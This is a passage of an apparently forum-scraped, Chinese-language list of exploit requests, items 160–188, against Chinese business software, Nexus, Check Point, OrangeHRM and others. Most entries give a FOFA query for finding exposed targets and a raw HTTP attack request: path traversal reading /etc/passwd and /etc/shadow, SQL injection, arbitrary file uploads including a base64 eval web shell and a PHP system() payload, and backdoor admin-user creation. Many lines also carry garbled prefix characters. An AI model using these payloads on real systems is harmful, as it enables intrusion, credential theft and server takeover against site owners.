3 y/ m) S7 r9 ]- j* ?: W( P+ QAccept-Encoding: gzip, deflate
6 x6 x+ n+ O( B3 R5 }, g2 |; XConnection: close
) a1 M) x7 G& \! R5 x% V' JContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
0 a% b" i# N- L5 ^) i. @6 L
* }6 m, e7 ?( e( t# D<?xml version="1.0" encoding="utf-8"?>
5 ~2 d3 d! _8 O<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 j$ G6 y2 r5 R; a! f. l) R<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
0 T/ G" v) B4 G7 l( h. V( @<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>

! ?, @% k% a+ s$ p4 `9 c' a% c
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

- [" n$ I" N* f- l9 k8 N
, d7 K3 V8 A) }3 k6 w+ {+ U160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
7 L( Q5 }* l. T% \$ zFOFA：title="Nexus Repository Manager"
) p) P/ [2 k; c& g  h3 p* ZGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+ r' N, [  ^9 \1 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
4 t; @: _5 m2 G, gConnection: close
: {, w7 i) p6 \/ b  wAccept: */*
( S8 N, l9 z" }Accept-Language: en
: X% C+ ^- B7 ^Accept-Encoding: gzip
6 ?; D1 h- x- Z0 t# P' `
; R% c, W( }4 O# @" b0 A  n% n  j
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
: r6 e$ I9 h# ~" n5 ]. Y! WFOFA：body="/KT_Css/qd_defaul.css"
3 G* N. e; Q) _  V% i* H% K第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
) j6 ]- |- x% ?4 j5 {6 n* jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' n8 X& i, @2 T4 N+ [; j# eConnection: close
) ~% R! V3 M+ nContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

5 B4 P) U: L1 ~7 P<?xml version="1.0" encoding="utf-8"?>
# g8 R1 i) c1 j1 \<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; s% v, \+ }+ H6 n; b1 E; a* x5 {<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
! e" d. I6 f# Q% S, K; y<ip>1</ip>
( A3 i7 `" p7 `+ z5 e<fileName>../../../../dizxdell.aspx</fileName>
, D' u) \. }' W! B& C<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
% S; @& X1 h% V* l( c4 _8 I</UploadResume>
</soap:Body>
- a% X& S3 Z# o$ {: _</soap:Envelope>

# }- i! i- W+ G) L. S4 ~
http://x.x.x.x/dizxdell.aspx
1 y0 i: f$ s1 U6 c% n
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
) h, Q+ }( c# U4 DFOFA: app="和丰山海-数字标牌"
2 i6 Y, `! Y. E. V. OPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
% h; @, ]4 P, F6 t9 M" E2 M/ E' bContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
# y( X. b8 L6 q4 O# P: KAccept-Encoding: gzip
$ l  h& R4 h- {0 t# y& `
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
4 V! _+ a  f1 f
$ Q9 n9 W7 {! b& x7 p( C0 Z+ a) l* {<% response.write("ujidwqfuuqjalgkvrpqy") %>
; _. P! o. b/ h. c------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
* J% h9 p) [% g7 n, o6 Q6 A
8 S8 h5 G5 c+ tupload
------WebKitFormBoundaryeegvclmyurlotuey
# p) p% l3 _( N7 k1 @/ {, ^Content-Disposition: form-data; name="responderId"

$ y' `* s5 p& j' C8 }% e# ]ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
( O% ?; B% C6 V6 G- P# V, C5 D0 LContent-Disposition: form-data; name="remotePath"

" ?# z7 B$ X7 N  f1 w! S4 L/opt/resources
7 ^" F" a/ e7 ^" s, F- }( w------WebKitFormBoundaryeegvclmyurlotuey--

4 ]' p0 D" ~* S
! {( F- |. _- x/ T% S1 k# R9 ^http://x.x.x.x/opt/resources/kjuhitjgk.aspx
8 C; {4 X/ i' k  x7 l) k! J
$ f) A  Q- [/ `3 d0 E163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" V; G6 [* l, B, o" ?: ]$ J% jFOFA: icon_hash="-795291075"
- ]  i& C( Z( x1 dPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
* i; B: @2 t. ~- kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
. i' ^9 S) x2 P# [Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
! N( R/ H& }9 A4 E6 M9 }Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
. y$ v% k" \$ T8 l( D) F. T
------iiqvnofupvhdyrcoqyuujyetjvqgocod
, u$ _9 A  p0 VContent-Disposition: form-data; name="name"

. u* `& R' J" N4 }1 H! `1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
* @2 {3 k: t1 {6 |  R- sContent-Disposition: form-data; name="upfile"; filename="1.php"
7 k, u6 `& }5 o& _Content-Type: image/jpeg
. c* c+ H5 ^$ G0 o
4 g. k4 \7 I+ j% trvjhvbhwwuooyiioxega
; h4 F9 E& {4 L/ Y1 ~$ |! n5 C0 X: J------iiqvnofupvhdyrcoqyuujyetjvqgocod--


* F. T  Y: k7 A4 J164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
3 F* A- _# U6 KFOFA: title="智慧综合管理平台登入"
$ ?" B+ x2 Q- a* n! _$ |" L8 NPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
+ [0 a( l$ l0 s" d- T, WHost: x.x.x.x
+ I  @% ?  }' D/ N! _; X6 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
5 x3 ?7 b$ N) }- aConnection: close
2 V! y! R- o& F" I9 l+ MContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
# ^# Z* v, _; FX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
& l4 k. Q2 O- }: l" ?7 y
; l' T2 T# X, Z. w( i$ t# ]0 z------dqdaieopnozbkapjacdbdthlvtlyl
% n: K5 u5 R* d3 ZContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
. `) Y) Q) k% a' \9 M* V, U5 ]
5 m2 M/ k+ [/ d0 u4 U1 {. Z  c8 _<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
5 @/ @5 G' n3 G5 [
2 B7 x3 ^4 a# f0 q# j
4 y; |. o3 ~4 e, w, z9 C166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
7 X% T. L- k" d) k% y# Z% X8 HPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
. r' ~" G/ y; TCache-Control: no-cache
% b, w4 h5 W$ t' d8 YUpgrade-Insecure-Requests: 1
  m$ b; `- [& S2 L' c# Y- JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 A3 M! ~: m8 H( w6 F6 a2 m2 bAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
: J/ j% q0 F) X$ J4 W9 BContent-Type: application/x-www-form-urlencoded
: \9 n8 q( r; r+ @- EContent-Length: 89
* k2 w% ^1 }! ^4 t2 \
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
! ?6 @6 Y6 ^" x1 h" Y8 P7 U& ]  y! x3 u4 |

9 m) l: D% M4 N1 y- X* ?( B! G! G167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ N' f' F, o7 s* T* t! @! ^/ pFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
% `& \) ^1 f2 x2 }+ K( X/ }GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
4 @. T% M2 D# F% {Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 X, `: I% [( zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
5 d* m2 x# U4 _7 i0 PConnection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
5 G6 u5 h  ]1 m/ z6 k4 eFOFA：app="HJSOFT-HCM"
7 i7 C5 J( _* I. h+ {% fGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
2 m/ z6 h: }$ eHost: your-ip
, o1 m) ?- K- U# J5 w/ b# CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
" n9 E" x4 D0 O! Y. ^; tContent-Type: application/x-www-form-urlencoded
Connection: close

% @& ]+ s* O# W
5 I1 K$ e4 Q, d' P
169. 宏景EHR downlawbase SQL注入
6 a2 g4 Y- `7 L$ u- d, X3 d4 a3 TFOFA：app="HJSOFT-HCM"
: Y" S/ W8 q) Y, d3 {( z* Q4 ?GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ f2 l; e0 W8 {0 V7 ^$ _; R' YAccept: */*
! U' e: \0 }+ s" NAccept-Encoding: gzip, deflate
Connection: close

1 ^' p% T, \0 v+ c. k
5 ~$ K# B' I$ U/ b, p
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
+ L" a! @/ y' Z$ `FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ w5 F& K5 ]; L4 D6 m1 v
1 {0 ?! o* d6 e7 Q" A+ n9 ufilename=../webapps/ROOT/WEB-INF/web.xml

* m3 _+ A# I0 c* j9 ^1 E) y) U
171. 通天星CMSV6车载定位监控平台 SQL注入
- S8 J4 V% Z, U, v6 eFOFA：body="/808gps/"
. V9 G5 _7 k( f/ zGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
+ r" H7 D" P/ X, f: xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
$ p, L( x$ C* L' Y  {( c& JAccept: */*
+ {7 N" M1 P+ P# IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. F6 A/ H. ^$ \+ WConnection: close

1 D2 P4 r3 O5 I' f  S, q8 I
! n+ e" ~' R* y1 G5 l
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
8 a8 l# Y$ @5 nGET /../../../../etc/passwd HTTP/1.1
+ K' k/ E( g" R* YHost: your-ip
4 x3 H; w0 j, B/ r( XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
% v9 s  E, B& f) |: ]. mAccept: */*
Connection: keep-alive

/ L) S1 R& e! w  e* v2 B
9 X6 ~+ s4 Z3 {1 ]2 Z
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
8 p6 ^$ B' H, s6 WPOST /clients/MyCRL HTTP/1.1
1 L* ~# d3 H& H. r+ QHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow



6 V5 n6 `* a4 [) n174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( f7 i. f/ H$ A1 W5 P+ m% T# DConnection: close
3 Z+ o6 o5 v9 ?
/ [* T0 c  e) C# A, `

0 w2 f) |/ A; Q175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; F1 O$ h! d7 A  i. {FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
' z, z; {& C# c8 jUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! \+ G" s- ?, t% X7 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 I! M" A) L7 ~+ zConnection: close
Upgrade-Insecure-Requests: 1
& o$ o4 j  P) ~( t

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
: k0 ^  A/ T1 X1 Q  E7 x1 D; _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

  o' W) q6 W! K1 Q<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
! W7 O, [* x  U3 CContent-Disposition: form-data; name="uploadtime"

$ e# K* v  z+ T/ A! g8 m/ }$ g7 ~
7 Q" c  W+ J1 @, Y0 S. d------WebKitFormBoundaryOKldnDPT--

3 l: Q7 \7 v/ P7 g& i6 \

0 _2 A" v+ J, q4 ~$ |7 A177. H3C路由器敏感信息泄露
1 |, }0 C* L* b. P! u) Y/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
$ ~' S& i6 ?/ k6 R/ H. s- W+ O/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
7 F- H# c2 I# e* r7 G% q& _/ H/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
! O) c' ?2 O# p- ]/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
, z) o) G* g  E# i, B# g: u7 t/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
' ]0 m# |+ K% o/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
4 k: P: g! J+ v3 @# o/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
4 Q- H- ~' P3 N3 I' s1 v' }7 ]/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
' I. a) a4 g- [/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
# X3 @# l2 g, [6 k( a/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


5 t# \1 Z1 p$ n: @178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
0 F2 Q+ {8 L6 w! d& e) VHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
2 T( t( D( |7 J6 |: Q! jAccept-Encoding: gzip, deflate
: i4 |+ U4 `7 o0 kConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
% Y; p" ?8 ]2 I0 iContent-Length: 255

12234
' S, r% A" K5 C+ X; V& a-----------------aqutkea7vvanpqy3rh2l--
* D) Z8 ~8 g# c9 S3 h$ Y5 S7 [

GET /imc/primepush/%2e%2e/flex/12234.txt


$ [! C% G; [& {, @, K- p  U0 i# P& H! i179. 建文工程管理系统存在任意文件读取
  E, G+ p9 @) I7 f; @1 y2 GPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
! l! j& b9 ?6 T! \9 v+ w) Q# bContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
7 z- u& x) e/ s5 }2 B% e! l% f. @
" W8 k6 S# U/ n. H6 `: l/ Upath=../log4net.config&Name=
* k& i8 ?9 G- Z* ]5 U

180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
1 X. E' Q7 Q2 d" `1 k! lGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
) Y* e! E9 q! H: mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. V) z" h9 s; }8 T' L& ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* U/ H' u3 w4 q- O% R6 B. _Accept-Encoding: gzip, deflate
; |5 B3 T! I/ B( n0 |# B# pAccept-Language: zh-CN,zh;q=0.9
Connection: close
: K& \3 {8 B9 L1 i- b2 I+ H( f/ o* L! K
, D7 L$ u- J. J
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
/ e( X0 i. w5 b5 k8 }2 F# }POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
8 \- M! ~- t2 M1 s: hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
% w3 {- c( g+ e, tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

5 j7 J. h1 Y: |! L
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


9 s0 l+ i) X$ D/ D1 n; b$ F182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
. V! Y5 [) v- e7 vFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 z+ d3 h  W" n4 a* x! s* AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, A& ~0 K( [6 a. d& W9 @Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
# d+ G: \$ m2 y: ]; {  {Connection: close
: B$ C, Z) ]/ b% q! g( bContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1
( j4 ]* f: V. u4 X# b$ F

+ k* A. C  V8 R4 I- D2 ?6 t183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
5 u# G! ?6 m) lFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 f& G+ D0 |& f9 s0 {Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
6 T1 }: m, N& d% J- ]/ OAccept-Encoding: gzip, deflate
. P9 T* T* _( n" X$ RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  [6 w7 i  P7 r0 uAccept: application/xml, text/xml, */*; q=0.01
( d. z* T4 V1 ?% O; eContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
7 S' A$ j1 X9 b% A7 w, Y7 V! h
* y; S* L- [/ ~6 r( j
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: k4 ]# ?, P* A4 H: U: E+ f% l
% V+ O! L$ W6 b
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
: [9 K) X* q  TFOFA：app="REALOR-天翼应用虚拟化系统"
+ {2 A: |* b9 }' X2 ]8 u9 NGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
" j7 H  ^. [3 B

5 t2 @  Q9 b' e: J186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
! ?: z1 n' c  B3 ?! o4 z8 hFOFA：title=="DataCube3"
* g4 F7 A- ?' Y% p1 p8 R3 oPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
, i. s* D# t# V( e( @2 hHost: your-ip
, [4 d" G/ m4 Z! f+ }% PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
, J; W2 J) {' a; e; J2 v- A# _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" t7 }  |, D/ u( ^9 J- iConnection: close
% W8 X% X# e. Q, h: y+ J& TContent-Type: application/x-www-form-urlencoded
8 J( y6 v' q4 X5 ~' c7 x7 Z6 r
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
) J4 u) h& S# p2 k9 w4 X3 ~1 ~  d4 Y6 ~CVE-2024-32640
$ N1 B* Q$ y9 O; ?4 pFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
; f  h8 X. f1 BHost: your-ip
  K" `: h# U" n' s- ?Content-Type: application/x-www-form-urlencoded
8 i# B) x1 @4 \( m2 L
% ?; S. i2 y# m  K" i7 a3 }
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


( h0 @% {2 K* B- l4 h4 y188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
  t. E; |0 j) D6 s- O; {) MFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
6 t4 G. S% t5 y' m8 h) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" d8 F  X1 ?- l. `& e7 gAccept-Encoding: gzip, deflate
" Q/ n+ ^( r3 ^7 y1 U# X1 v7 dAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
8 ^: E4 U7 n4 j" ~. V. S- w
1 C% O7 I" Z/ H
